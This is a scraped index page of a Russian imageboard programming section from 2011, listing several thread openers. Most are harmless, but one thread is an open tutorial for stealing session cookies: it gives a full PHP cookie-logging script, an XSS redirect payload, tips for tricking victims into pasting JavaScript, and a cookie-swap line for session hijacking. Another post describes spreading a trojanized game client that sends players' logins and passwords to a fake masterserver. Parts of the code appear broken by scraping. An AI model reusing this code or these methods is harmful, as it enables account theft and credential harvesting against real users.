/pr/ - Программирование
Файл
jpg(317×479)
ITT - взлом web-сайтов с поддержкой PHP
Анонимус
26 Сентября 2011 в 03:46:06
ID:
86268
20 ответов
ITT - взлом web-сайтов с поддержкой PHP
Анонимус
26 Сентября 2011 в 03:46:06
ID:
86268
20 ответов
Тут я раздаю shell'ы и рассказываю что и как. Но, как обычно, чуть позже, сейчас я занят. Этот тред что бы я не забыл.
Файл
png(848×480)
Kashira
Анонимус
16 Октября 2011 в 15:50:10
ID:
98306
1 ответов
Kashira
Анонимус
16 Октября 2011 в 15:50:10
ID:
98306
1 ответов
Notice: Undefined index: navigation in /var/www/omegachan.ru/public/www/tpls/head2.php on line 49. Oh you.
Файл
png(584×365)
Alphachan 3.0
Анонимус
13 Октября 2011 в 02:02:51
ID:
96540
48 ответов
Alphachan 3.0
Анонимус
13 Октября 2011 в 02:02:51
ID:
96540
48 ответов
В этом ITT? треде ваши предложения по поводу Alphachan 3.0. Который возможно скоро появится, если будет достаточно желающих. А иначе пилить нет смысла - ещё одна мелкоборда не нужна.
Файл
gif(63×73)
Сын Капитана Неодекватность
Анонимус
15 Октября 2011 в 15:26:42
ID:
97768
1 ответов
Сын Капитана Неодекватность
Анонимус
15 Октября 2011 в 15:26:42
ID:
97768
1 ответов
Учитесь!
Файл
jpg(498×500)
Анонимус
13 Октября 2011 в 20:33:21
ID:
96972
19 ответов
Анонимус
13 Октября 2011 в 20:33:21
ID:
96972
19 ответов
Объясните слоупоку, как в Мускуле изменять порядок записей в таблице? И вообще, на каком принципе устроены бампы и апы на бордах и форумах, использующих SQL-ную БД? С менянихуянефть и няшки.
Файл
jpg(400×300)
Анонимус
06 Октября 2011 в 21:58:01
ID:
92871
2 ответов
Анонимус
06 Октября 2011 в 21:58:01
ID:
92871
2 ответов
Хочу освоить программирование МК-52.
Файл
jpg(1898×947)
Сын Капитана Неодекватность
Анонимус
04 Октября 2011 в 12:45:50
ID:
91391
10 ответов
Сын Капитана Неодекватность
Анонимус
04 Октября 2011 в 12:45:50
ID:
91391
10 ответов
У вас отличная вёрстка
Файл
png(320×350)
Крадём печенье (cookies) у пользователей ITT!
Анонимус
13 Сентября 2011 в 20:31:44
ID:
81955
83 ответов
Крадём печенье (cookies) у пользователей ITT!
Анонимус
13 Сентября 2011 в 20:31:44
ID:
81955
83 ответов
Кашира на связи. Сегодня расскажу как ломать хомячков посредством впаривания им моего JS. Такие вот дела. Нужны хотя бы минимальные знания программирования, я специально за вас ни хуя делать не буду, а то каждый второй школьник справится. Открываем блокнот, и парсим туда то, что ниже.
?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else
$ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog
{
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie <br>");
}
else fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n");
fclose($log);
}
logData();
/ Выкинь из комментариев вот это и окно будет ещё само закрываться после открытия, посоны!/
/-------echo('<html><body onload="window.close();"></body></html>');-----/
?>
Сохраняем как cookie.php, те кто не могут в смену расширений - ну вы поняли. Теперь загружаем файл на ваш сервер. Если у вас нет сервера, то регистрируем бесплатный без регистрации и ожидания на холмах с поддержкой PHP. Загружаем туда мой скрипт. Создаём файл log.txt, пустой, и кладём его туда же (всё кидать в одну папку, лучше в корень для быстродействия). Не забывайте поставить права на перезапись а то РАСПИДОРАСИТ СЕРВЕР. А теперь к делу.
<script>document.location='
Вот пример того как можно скрипт положить в любой сайт где у вас есть права редактировать HTML (или свой сайт, где вы не можете расшифровать MD5, что конечно вообще странно) Скрипт работает как "невидимка", пользователи сайта-жертвы даже ничего не поймут, так как никаких окон не выскакивает. Если же вам хочется украсть сессию на сайте где вы обыкровенный пользователь - всё что вам нужно это впарить скрипт жертве, что бы та ввела его в браузерную строку для получения голосов VK, тонкий намёк, или что ещё лучше - если сервер разрешает в тегах вида [URL] помещать JS (и такое бывает). Когда делаем ссылку с текстом "click me", и моим JS.
В log.txt отображаются номера сессии. Заходите на сайт с которого украли сессию и делаете подмену печенья.
javascript:void(document.cookie="PHPSESSID=НОМЕР_СЕССИИ");
Совет для совсем тех, кто не может в программирование - если вы решили впарить скрипт с клиентской части (если доступа на сервер жертвы у вас нет), то не забудьте добавить "javascript:" в начале скрипта а то провалится ваш хитрый план.
Файл
gif(298×291)
Анонимус
17 Сентября 2011 в 20:18:57
ID:
83685
3 ответов
Анонимус
17 Сентября 2011 в 20:18:57
ID:
83685
3 ответов
Ох ты, какой хороший раздел.
Буду тут постить иногда.
Файл
png(320×350)
Кашира
Анонимус
18 Сентября 2011 в 00:43:08
ID:
83769
2 ответов
Кашира
Анонимус
18 Сентября 2011 в 00:43:08
ID:
83769
2 ответов
Свой поддельный masterserver для online-игры. Суть такова, берётся обыкновенная online-игра (обыкновенная, не CS:S, там защита от такой хуйни). Далее ищем место куда отправляются login и пароль при входе в игру (если такое есть конечно же). Обычно в папке /sys/ или что-то такое, есть IP или адрес masterserver'a. Вам же я предлагаю распространять свою версию игры, которая ни чем вроде бы не отличается, только отсылает все данные вам. Я недавно написал такой "masterserver" для CS2D. Вот он.
Берём его и переписываем под любую другую игру. Получить offset'ы игры можно с помощью программ OllyDbg и IDA Pro, скачать бесплатно на высокой скорости можно на TBP. Разпидорасим .exe (Windows как обычно, SOSNOOLEY) игры и вызываем функции, пока не находим ту, которая нам нужна. В скрипте что я написал это уже имеется, просто функции заменяете.
Файл
jpg(191×199)
Анонимус
14 Сентября 2011 в 07:45:59
ID:
82089
33 ответов
Анонимус
14 Сентября 2011 в 07:45:59
ID:
82089
33 ответов
Ну тогда уж не программы, а программирование.
Алсо, пусть бэтман запилит поддержку быдлокода с разметкой.
|